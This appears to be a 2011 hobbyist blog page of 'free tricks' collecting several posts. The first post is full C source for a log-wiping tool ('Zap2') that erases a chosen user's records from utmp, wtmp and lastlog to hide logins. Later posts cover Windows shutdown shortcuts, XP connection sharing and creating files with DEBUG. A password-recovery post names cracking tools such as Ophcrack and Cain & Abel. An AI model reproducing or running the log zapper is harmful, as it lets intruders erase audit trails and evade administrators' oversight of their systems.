we love free and here is your destination for all free things

Monday, 25 July 2011




Edit /etc/utmp, /usr/adm/wtmp and /usr/adm/lastlog. These are not text files that can be edited by hand with vi, you must use a program specifically written for this purpose.



Example:



#include

#include

#include

#include

#include

#include

#include

#include

#define WTMP_NAME "/usr/adm/wtmp"

#define UTMP_NAME "/etc/utmp"

#define LASTLOG_NAME "/usr/adm/lastlog"



int f;



void kill_utmp(who)

char *who;

{

    struct utmp utmp_ent;



  if ((f=open(UTMP_NAME,O_RDWR))>=0) {

        while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )

          if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {

                          bzero((char *)&utmp_ent,sizeof( utmp_ent ));

                          lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);

                          write (f, &utmp_ent, sizeof (utmp_ent));

                  }

        close(f);

  }

}



void kill_wtmp(who)

char *who;

{

    struct utmp utmp_ent;

    long pos;



    pos = 1L;

    if ((f=open(WTMP_NAME,O_RDWR))>=0) {



        while(pos != -1L) {

           lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);

           if (read (f, &utmp_ent, sizeof (struct utmp))<0) {

                pos = -1L;

           } else {

                if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {

                        bzero((char *)&utmp_ent,sizeof(struct utmp ));

                        lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);

                        write (f, &utmp_ent, sizeof (utmp_ent));

                        pos = -1L;

                } else pos += 1L;

           }

        }

        close(f);

  }

}



void kill_lastlog(who)

char *who;

{

    struct passwd *pwd;

    struct lastlog newll;



        if ((pwd=getpwnam(who))!=NULL) {



           if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {

                  lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);

                  bzero((char *)&newll,sizeof( newll ));

                  write(f, (char *)&newll, sizeof( newll ));

                  close(f);

           }



    } else printf("%s: ?\n",who);

}



main(argc,argv)

int argc;

char *argv[];

{

    if (argc==2) {

           kill_lastlog(argv[1]);

           kill_wtmp(argv[1]);

           kill_utmp(argv[1]);

           printf("Zap2!\n");

    } else

    printf("Error.\n");

}
Read more ...

Sunday, 10 July 2011


First, create a shortcut on your desktop by right-clicking on the desktop, choosing New, and then choosing Shortcut. The Create Shortcut Wizard appears. In the box asking for the location of the shortcut, type shutdown. After you create the shortcut, double-clicking on it will shut down your PC.

But you can do much more with a shutdown shortcut than merely shut down your PC. You can add any combination of several switches to do extra duty, like this:

shutdown -r -t 01 -c "Rebooting your PC"
Double-clicking on that shortcut will reboot your PC after a one-second delay and display the message "Rebooting your PC." The shutdown command includes a variety of switches you can use to customize it. Table 1-3 lists all of them and describes their use.

I use this technique to create two shutdown shortcuts on my desktop—one for turning off my PC, and one for rebooting. Here are the ones I use:

shutdown -s -t 03 -c "Bye Bye m8!"
shutdown -r -t 03 -c "Ill be back m8 ;)!"

Switch
What it does

-s
Shuts down the PC.

-l
Logs off the current user.

-t nn
Indicates the duration of delay, in seconds, before performing the action.

-c "messagetext"
Displays a message in the System Shutdown window. A maximum of 127 characters can be used. The message must be enclosed in quotation marks.

-f
Forces any running applications to shut down.

-r
Reboots the PC.
Read more ...

Monday, 4 July 2011



This trick shows you how to share your internet connections on multiple computers within a workgroup with Windows XP. Windows XP has a built-in feature that called "Internet Connection Sharing" (ICS) that allows home users to share their internet connections on multiple computers.
If you are not familiar with the network configurations, the easiest way to share your internet connection is to purchase a router or hub. Use this trick only if you don't have a router, or don't want to use a router, or if you just want to try out the feature.
A simple way to understand this feature is, you are making your host computer (the computer directly connects to the internet) functioning as a router for other computers.


What do you need?
  • A "Host" computer that running Windows XP. This computer must have at least TWO (2) network adapters. One adapter - let's call it "Adapter #1" - connects to the internet and another, "Adapter #2", connects to a hub or directly to other computers.
  • Client computer(s), which run any version of Windows. A client computer can be connected to the host computer directly by a cross-over cable or indirectly through a hub.
  • This trick assumes that the host computer is connected to the internet and you are able to access the internet on this computer.


Configure the Host Computer
  1. Logon the host computer as Administrator.
  2. Click Start >> Control Panel.
  3. Click Network and Internet Connections.
  4. Click Network Connections.
  5. Right-click the connection that you use to connect to the internet (the connection with Adapter #1). This connection can be either a high-speed internet connection or a dial-up connection.
  6. Click Properties.
  7. Click Advanced tab.
  8. Under Internet Connection Sharingselect the Allow other network users to connect through this computer's Internet connection check box.
  9. If you are sharing a dial-up Internet connection, select the Establish a dial-up connection whenever a computer on my network attempts to access the Internet check box if you want to permit your computer to automatically connect to the Internet.
  10. Click OK. You'll reieve the following message:
    When Internet Connection Sharing is enabled, your LAN adapter will be set to use IP address 192.168.0.1. Your computer may lose connectivity with other computers on your network. If these other computers have static IP addresses, it is a good idea to set them to obtain their IP addresses automatically. Are you sure you want to enable Internet Connection Sharing?
  11. Click Yes.
Configure the Client Computer(s)
To use the shared connection from the Host computer, a client computer must be configured with "Automatic IP address". The main configurations are:
  1. Configure TCP/IP Automatic IP
  2. Configure Internet Connection
The steps for the above two configurations are vary on different versions of Windows.
The following procedures are for Windows XP client computers.
  1. Log on to the client computer as Administrator or as Owner.
  2. Click Start >> Control Panel.
  3. Click Network and Internet Connections.
  4. Click Network Connections.
  5. Right-click Local Area Connection, and then click Properties.
  6. Click the General tab, click Internet Protocol (TCP/IP) in the This connection uses the following items list, and then click Properties.
  7. In the Internet Protocol (TCP/IP) Properties dialog box, click Obtain an IP address automatically (if it is not already selected), and then click OK.
  8. Click Start >> Control Panel
  9. Click Network and Internet Connections.
  10. Click Internet Options.
  11. In the Internet Properties dialog box, click the Connections tab.
  12. Click the Setup button. The New Connection Wizard starts.
  13. On the Welcome to the New Connection Wizard page, click Next.
  14. Click Connect to the Internet, and then click Next.
  15. Click Set up my connection manually, and then click Next.
  16. Click Connect using a broadband connection that is always on, and then click Next.
  17. On the Completing the New Connection Wizard page, click Finish.
  18. Exit Control Panel and test the internet. You might need to restart the computer.
Read more ...

Sunday, 3 July 2011


You can create a file of any size using nothing more than what's supplied with Windows. Start by converting the desired file size into hexadecimal notation. You can use the Windows Calculator in Scientific mode do to this. Suppose you want a file of 1 million bytes. Enter 1000000 in the calculator and click on the Hex option to convert it (1 million in hex is F4240.) Pad the result with zeroes at the left until the file size reaches eight digits—000F4240.

Now open a command prompt window. In Windows 95, 98, or Me, you can do this by entering COMMAND in the Start menu's Run dialog; in Windows NT 4.0, 2000, or XP enter CMD instead. Enter the command DEBUG BIGFILE.DAT and ignore the File not found message. Type RCX and press Enter. Debug will display a colon prompt. Enter the last four digits of the hexadecimal number you calculated (4240, in our example). Type RBX and press Enter, then enter the first four digits of the hexadecimal size (000F, in our example). Enter W for Write and Q for Quit. You've just created a 1-million-byte file using Debug. Of course you can create a file of any desired size using the same technique.
Read more ...

Saturday, 2 July 2011


Method one: Logging in Windows 7 with an available admin account to recover Win 7 password
Methods two: Creating a password recovery disk to recover the Win 7 password, by this methods, you need create a Windows password reset disk before you have lost or forgotten your Windows admin password.
Method three: Using Windows Password Recovery software to recover Windows 7 password. Under such circumstances, you may need the help of other software. There are some free softwares which can settle the problem such as OphcrackOffline NT Password & Registry EditorCain & Abel v4.9.31. However, when you operate these softwares, the disadvantages are obvious. You may lose your patience if you experience them.
If you want to reset your windows 7 password easily and timely , some softwares with high capability price can help you. For example, Windows Password Recovery Tool 3.0, Windows Password Key, Password Recovery Bundle, etc…


Tip:

  1. It would be best to create a password recovery disk, while doing New/Fresh Installations of Windows 7 OS.
  2. Always create and keep additional admin (Administrator) account. Keep password of that account in some safe place.
  3. Try Method three !!
Read more ...